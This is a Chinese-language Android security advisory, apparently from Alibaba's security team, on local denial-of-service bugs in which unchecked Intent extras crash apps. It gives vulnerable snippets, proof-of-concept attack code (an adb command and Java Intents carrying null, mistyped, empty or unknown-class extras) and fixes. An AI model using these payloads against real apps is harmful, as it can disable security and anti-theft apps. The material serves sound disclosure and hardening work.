1.本地拒绝服务漏洞描述
Android 系统提供了 Activity、Service 和 Broadcast Receiver 等组件,并提供了 Intent 机制来协助应用间的交互与通讯,Intent 负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android 系统则根据此 Intent 的描述,负责找到对应的组件,将 Intent 传递给调用的组件,并完成组件的调用。Android 应用本地拒绝服务漏洞源于程序没有对 Intent.getXXXExtra() 获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用 crash 的目的,简单的说就是攻击者通过 intent 发送空数据、异常或畸形数据给受害者应用,导致其崩溃。
近期,两位 0xr0ot 和 Xbalien 安全研究人员发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的 app 拒绝服务。通用型本地拒绝服务漏洞,主要源于攻击者向 Intent 中传入其自定义的序列化类对象,当调用组件收到此 Extra 序列化类对象时,无法找到此序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
本地拒绝服务漏洞不仅可以导致安全防护等应用的防护功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等),而且也可被竞争方应用利用来攻击,使得自己的应用崩溃,造成不同程度的经济利益损失。
2. 本地拒绝服务漏洞影响范围
Android系统所有版本。
3. 本地拒绝服务漏洞详情
漏洞位置:处理 getIntent() 的 intent 附带的数据
漏洞触发前提条件:
getIntent() 的 intent 附带空数据、异常或畸形数据
处理 getXXXExtra() 获取的数据时没有进行异常捕获
漏洞原理:Android 系统中提供了 Intent 机制来协助应用间的交互与通讯,其负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,系统则根据此 Intent 的描述,负责找到对应的组件,将 Intent 传递给调用的组件,并完成组件的调用。调用的组件在处理 Intent 附加数据的时候,没有进行异常捕获,因此当处理空数据、异常或者畸形数据时,导致应用崩溃。
4. 漏洞详细 POC
NullPointerException异常导致的拒绝服务,源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃;
漏洞应用代码片段:
Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
Log.d("TAG", "Test for Android Refuse Service Bug");
}
攻击应用代码片段:
KevindeMacBook-Air-2:~ kevin$ adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity
攻击应用代码运行后结果截图:
ClassCastException 异常导致的拒绝服务, 源于程序没有对 getSerializableExtra() 等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃
漏洞应用代码片段:
Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");
攻击应用代码片段:
Intent i = new Intent();
i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);`
击应用代码运行后结果截图:
IndexOutOfBoundsException 异常导致的拒绝服务,源于程序没有对 getIntegerArrayListExtra() 等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃
漏洞应用代码片段:
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
for (int i = 0; i < USER_NUM; i++) {
intArray.get(i);
}
}
攻击应用代码片段:
Intent intent = new Intent();
intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
intent.putExtra("user_id", user_id);
startActivity(intent);
攻击应用代码运行后结果截图:
ClassNotFoundException 异常导致的拒绝服务,源于程序没有无法找到从 getSerializableExtra() 获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃
漏洞应用代码片段:
Intent i = getIntent();
i.getSerializableExtra("serializable_key");
攻击应用代码片段:
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent i = new Intent();
i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
i.putExtra("serializable_key", new SelfSerializableData());
startActivity(i);
}
static class SelfSerializableData implements Serializable {
private static final long serialVersionUID = 42L;
public SelfSerializableData() {
super();
}
}
攻击应用代码运行后结果截图:
5. 本地拒绝服务漏洞修复建议
阿里聚安全建议将不必要的导出的组件设置为不导出
出于安全考虑,阿里聚安全应将不必要的组件导出,防止引起拒绝服务,尤其是杀毒、安全防护、锁屏防盗等安全应用;在AndroidMenifest.xml文件中,将相应组件的 android:exported属性设置为 false,如下示例:
android:exported="false">
`阿里聚安全建议intent处理数据时进行捕获异常
阿里聚安全建议处理通过 Intent.getXXXExtra() 获取的数据时进行以下判断,以及用 try catch 方式进行捕获所有异常,以防止应用出现拒绝服务漏洞:
空指针异常;
类型转换异常;
数组越界访问异常;
类未定义异常;
其他异常;